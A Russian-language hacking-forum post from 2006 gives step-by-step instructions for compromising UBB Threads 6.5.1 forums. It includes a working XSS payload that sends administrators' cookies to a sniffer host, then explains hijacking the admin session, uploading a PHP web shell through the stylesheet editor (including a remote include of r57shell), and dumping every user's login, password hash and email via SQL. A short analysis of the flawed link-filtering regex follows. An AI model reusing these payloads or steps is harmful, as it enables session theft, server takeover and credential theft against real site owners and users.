ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

UBB Threads 6.5.1 (Инструкция по заливке шелла)
  #1  
Старый 30.04.2006, 20:20
Аватар для pch
pch
Познающий
Регистрация: 22.10.2005
Сообщений: 37
Провел на форуме:
520745

Репутация: 141
По умолчанию UBB Threads 6.5.1 (Инструкция по заливке шелла)

Инструкция по заливке шелла

Проверялось на UBB Threads 6.5.1.
Для начала надо украсть cookie. Сделать это можно через следующую XSS:
Код HTML:
http://vict"onError="var/**/aa=new/**/Image();bb=document.cookie;aa.src='http://sniff/s.php?'+bb"style="background:url(http://laza);display:block;width:1px;height:1px;list-style-image:url(javascript:aa=new/**/Image()\;bb=document.cookie\;aa.src='http://sniff/s.php?'+bb)"title='alt="m.ru/1.jpg  http://vict="title='i="m.ru/1.jpg
Вместо "sniff/s.php?" надо вставить путь до сниффера. Менять надо в двух местах (в "list-style-image" и в обработчике onError).
Далее подставляешь полученные админские cookie. Сделать это можно с помощью прог Cookie Editor в IE, встроенного менеджера cookie в опере или с помощью расширения Add & Edit Cookies в Firefox.
Всё, теперь ты - админ. Иди в админку. Слева появиться меню с всевозможными действиями. Вибирай Create stylesheet (создать таблицу стилей). В большое текстовое поле вбиваешь текст шелла (а можно просто подключить шелл от rst кодом <? include("http://rst.void.ru/download/r57shell.txt"); ?>). Ниже вбиваешь любое название шелла (главное, чтобы оно оканчивалось на .php, если php-shell, на .pl, если perl-shell итд). Пусть будет называться лаконически shell.php. Кликаешь "Add this stylesheet" (добавить таблицу стилей). Ура - по адресу http://site.ru/stylesheets/shell.php лежит твой шелл.
На самом деле, если тебе нужны только хеши, то можно их получить и средствами самого форума. Заходишь в раздел "SQL command" (sql команды) и вводишь:
SELECT U_Username, U_Password, U_Email FROM w3t_Users
(выводит логины, хеши и e-mail'ы всех юзеров).
Правда, если админ сменил префикс таблиц, то это не сработает и придётся вначале узнать имя таблицы с логинами, выполнив запрос "SHOW TABLES FROM datebase", где database - имя таблицы (узнать последнее можно в разделе "Edit config settings")



Почему это работает

После первого взгляда на код UBB Threads 6.5, обрабатывающий посты, я не увидел ничего хорошего:
PHP код:
$Body preg_replace("/\[url\]http:\/\/([^\[]*?)\[\/url\]/i","<a href=\"http://\\1\" target=\"_blank\">http://\\1</a>",$Body); 
Регулярное выражение недвухсмысленно запрещало знак '[' в тексте ссылки. В img и др. тэгах такая же фильтрация. Следовательно спаренным тэгам в этот раз придётся курить бамбук.
Но, запрещая квадратную скобку, это регулярное выражение попускает двойные кавычки! Подставил - облом. Причиной облома стал код ниже:
PHP код:
preg_match_all("/\[url=(.*?)\]/is",$Body,$matches1);
$bad "";
for (
$i=0$i count($matches1['0']); $i++) {
    if (
strstr($matches1['0'][$i],"\"")) {
        
$bad 1;
    }
}
if (!
$bad) {
    
$Body preg_replace("/\[url=(.*?)\](.*?)\[\/url\]/i","<a href=\"\\1\" target=\"_blank\">\\2</a>",$Body);

А почему это нельзя было совместить с первым рег. выражением? Одназначно, у кого-то кривые руки . Но тем не менее фильтр есть. Проскролив файл вверх-вниз и не найдя там ничего интересного, я уже хотел сдаться, но вдруг обратил внимание на строку:
PHP код:
$Body preg_replace("#([\n\r ])([a-z]+?)://([^, \n\r]+)#i""\\1<a href=\"\\2://\\3\" target=\"_blank\">\\2://\\3</a>"$Body); 
Самое что ни на есть обычное действие: преобразование ссылок прописанных в тексте в кликабельные. Но после http:// разрешается все символы кроме запятой, пробела и знаков переноса (короче тех, которыми обычно отделена ссылка). Уже понятно к чему клоню? Ставим "title=' - и у нас выход в тэг.
Не буду расписывать подробностей сплоита, скажу лишь основное. Сплоит работает в IE за счёт list-style-image:url(javascript:...). Opera отсылает куки по событию onError, которое, в свою очередь, возникает из-за указание несуществующего файла, как фона background:url(http://laza). Текст сплоита не виден из-за того, что размера его содержащего бокса - 1px*1px.
Напоследок, приведу html-код, в который преобразуется сплоит:
Код HTML:
<a href="http://vict"onError="var/**/aa=new/**/Image();bb=document.cookie;aa.src='http://rot.hut1.ru/k/index.php?'+bb"style="background:url(http://laza);display:block;width:1px;height:1px;list-style-image:url(javascript:aa=new/**/Image()\;bb=document.cookie\;aa.src='http://rot.hut1.ru/k/index.php?'+bb)"title='alt="m.ru/1.jpg" target="_blank">http://vict"onError="var/**/aa=new/**/Im...alt="m.ru/1.jpg</a>  <a href="http://vict="title='i="m.ru/1.jpg" target="_blank">http://vict="title='i="m.ru/1.jpg</a>
Удачи!

© pch (pchopch on the gmail.com) [antichat.ru] 2006

Последний раз редактировалось pch; 30.04.2006 в 22:59..
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Вопрос по заливке шелла, используя уязвимость highlight в форуме phpBB 2.0.6 vega2k Форумы 12 11.01.2009 15:57
Вопрос о заливке шелла на форуме Powered by Invision Power Board(U) v1.3 Final 0verfe1 Форумы 7 07.01.2006 03:23
Удобный Http брут на Php KEZ PHP, PERL, MySQL, JavaScript 18 13.08.2005 13:34



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ